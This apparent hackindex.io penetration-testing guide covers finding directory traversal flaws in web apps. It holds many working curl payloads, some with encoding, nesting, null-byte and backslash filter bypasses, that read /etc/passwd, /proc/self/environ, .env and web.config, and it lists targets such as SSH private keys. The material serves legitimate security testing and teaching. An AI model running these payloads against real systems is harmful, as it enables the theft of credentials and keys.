# Directory Traversal Detection

> Detect directory traversal vulnerabilities in web apps by testing path manipulation sequences (../), identifying improper input sanitisation and unauthorised file access.

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/directory-traversal-detection
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

Directory traversal reads files from the server filesystem by manipulating file path parameters. Unlike local file inclusion (LFI), which includes and executes a file through the application's interpreter (PHP `include()`, Python `import`), traversal reads raw file contents without execution. The distinction matters: traversal is language-agnostic and works against any application that passes user input into a filesystem read operation. LFI is a subset that additionally executes the included file, making it more dangerous in PHP and similar environments but limited to those runtimes. Both start the same way: finding a parameter that references a file path. For the closely related [file inclusion detection](https://hackindex.io/services/web/vulnerability-discovery/file-inclusion) techniques (LFI/RFI with encoding bypasses and automated fuzzing), and the full [file inclusion exploitation](https://hackindex.io/services/web/exploitation/file-inclusion) chain (log poisoning, PHP wrappers, RCE), see the dedicated pages.

## Identifying Suggestive Parameters

Look for parameters that likely map to filesystem paths. Common names include `file`, `path`, `doc`, `document`, `download`, `img`, `image`, `template`, `page`, `load`, `resource`, `include`, `dir`, `folder`, `content`, and `view`. Any parameter whose value looks like a filename or path segment deserves testing. Check both GET query parameters and POST body parameters. Also inspect cookie values and HTTP headers like `X-Forwarded-File` or custom application headers. Parameters with values like `report.pdf`, `en/about`, or `images/logo.png` are strong indicators.

## Relative Path Traversal

Relative traversal uses `../` sequences to step out of the intended directory and reach files elsewhere on the filesystem. The number of `../` sequences needed depends on how deep the current working directory is. Using more sequences than necessary does not cause errors because the filesystem stops at the root directory. Start with a deep traversal and confirm the file reads correctly.

**Basic relative traversal**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=../../../../../../../etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

If the application strips or blocks `../` literally, try URL-encoded variations. Single encoding (`%2e%2e%2f` or `..%2f`) bypasses filters that check the raw string before URL decoding. Double encoding (`%252e%252e%252f` or `..%252f`) works when the application decodes the input twice, which happens with certain proxy and framework configurations.

**URL-encoded traversal**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=..%2f..%2f..%2f..%2fetc%2fpasswd"
```

**Double-encoded traversal**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=..%252f..%252f..%252f..%252fetc%252fpasswd"
```

## Absolute Path Traversal

Some applications do not restrict the parameter to a relative path. If the application reads whatever value you supply as a full filesystem path, no traversal sequences are needed. Supply the absolute path directly.

**Linux absolute path**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=/etc/passwd"
# root:x:0:0:root:/root:/bin/bash
```

**Windows absolute path**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=C:\Windows\win.ini"
# [fonts]
# [extensions]
# [mci extensions]
# [files]
```

## Filter Bypass Techniques

Applications commonly implement input filters to block traversal attempts. Each filter type has known bypasses.

**Nested traversal** defeats filters that strip `../` once without recursion. After the filter removes the inner `../`, the remaining characters form a new `../` sequence.

**Nested traversal (bypasses single-pass strip)**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=....//....//....//....//etc/passwd"
```

**Null byte injection** worked against older PHP versions (before 5.3.4) and some legacy applications. The null byte terminates the string in C-level filesystem functions, stripping any suffix the application appends (like `.php` or `.png`).

**Null byte truncation (legacy PHP)**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=../../../etc/passwd%00.png"
```

**Mixed encoding and path variations** combine different encoding styles to evade pattern matching. Backslash substitution works on Windows where both `/` and `\` are valid path separators. UTF-8 overlong encoding (`%c0%ae` for `.`) bypasses some WAF rules. Try all variations when basic traversal is blocked.

**Backslash traversal (Windows targets)**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=..\..\..\..\windows\win.ini"
```

**Mixed encoding**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
```

## OS-Specific Targets

After confirming traversal works, target files that yield actionable information. The files you read first depend on the target OS.

### Linux Targets

`/etc/passwd` confirms the vulnerability and lists system users. `/etc/shadow` contains password hashes but requires root-level read access, which most web applications do not have. `/proc/self/environ` exposes environment variables for the web server process, often containing database credentials, API keys, and secret tokens. Application config files are the highest-value targets after confirming the vulnerability works.

**Read environment variables**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=../../../proc/self/environ" | tr '\0' '\n'
# PATH=/usr/local/sbin:/usr/local/bin
# DB_HOST=localhost
# DB_USER=app
# DB_PASS=s3cr3t
# SECRET_KEY=a1b2c3d4e5f6
```

**Read application config (Laravel example)**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=../../../var/www/html/.env"
# APP_KEY=base64:abc123...
# DB_CONNECTION=mysql
# DB_HOST=127.0.0.1
# DB_DATABASE=app
# DB_USERNAME=root
# DB_PASSWORD=p@ssw0rd
```

Other high-value Linux files: `/etc/hosts` (internal hostnames), `/proc/self/cmdline` (running process command line), `/home/<user>/.ssh/id_rsa` (SSH private keys), `/var/log/apache2/access.log` or `/var/log/nginx/access.log` (useful for log poisoning to LFI escalation), and `/etc/apache2/sites-enabled/000-default.conf` or `/etc/nginx/sites-enabled/default` (reveals document root paths and virtual host configurations).

### Windows Targets

`C:\Windows\win.ini` is the standard proof-of-concept file for Windows traversal. `C:\inetpub\wwwroot\web.config` contains IIS application settings including database connection strings. `C:\Windows\System32\drivers\etc\hosts` reveals internal hostnames. `C:\Users\<user>\.ssh\id_rsa` may contain SSH keys if OpenSSH is installed.

**Read IIS web.config**

```bash
curl -sk "http://$TARGET_IP:$PORT/download?file=..\..\..\..\inetpub\wwwroot\web.config"
# <connectionStrings>
#   <add name="DB" connectionString="Data Source=db.internal;Initial Catalog=app;User ID=sa;Password=DBp@ss123" />
# </connectionStrings>
```

## Directory Listing

Misconfigured web servers expose directory contents when no index file exists. This is not traversal but provides similar information: filenames, backup files, configuration files, and application structure.

**Apache** enables it with `Options +Indexes` in `.htaccess` or the virtual host config. **Nginx** uses `autoindex on` in the location block. **IIS** has a "Directory Browsing" feature that can be enabled per-directory. Look for it on any path that returns an HTML page listing files rather than a 403 or custom error page.

Directory listing reveals backup files (`.bak`, `.old`, `.swp`), configuration files left in the webroot, source code archives (`.zip`, `.tar.gz`), and temporary files that developers forgot to remove. Each discovered file is a potential information disclosure or a starting point for further exploitation.

**Check for directory listing on common paths**

```bash
for dir in / /images/ /uploads/ /backup/ /admin/ /config/ /includes/ /assets/ /static/; do code=$(curl -sk -o /dev/null -w '%{http_code}' "http://$TARGET_IP:$PORT$dir"); echo "$code $dir"; done
# 200 /
# 200 /images/
# 403 /uploads/
# 200 /backup/
# 403 /admin/
# 404 /config/
# 200 /includes/
# 200 /assets/
# 200 /static/
```

A 200 response on a directory path that returns HTML with file listings confirms directory browsing is enabled. Manually inspect each 200 response to check whether it returns actual directory contents or a default page. Pay attention to 403 responses on `/uploads/` and `/admin/` as they confirm the directory exists even though listing is blocked.

## References

- [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal) - Traversal attack patterns and prevention techniques.
- [PortSwigger: File Path Traversal](https://portswigger.net/web-security/file-path-traversal) - Traversal labs covering filter bypasses and encoding variations.
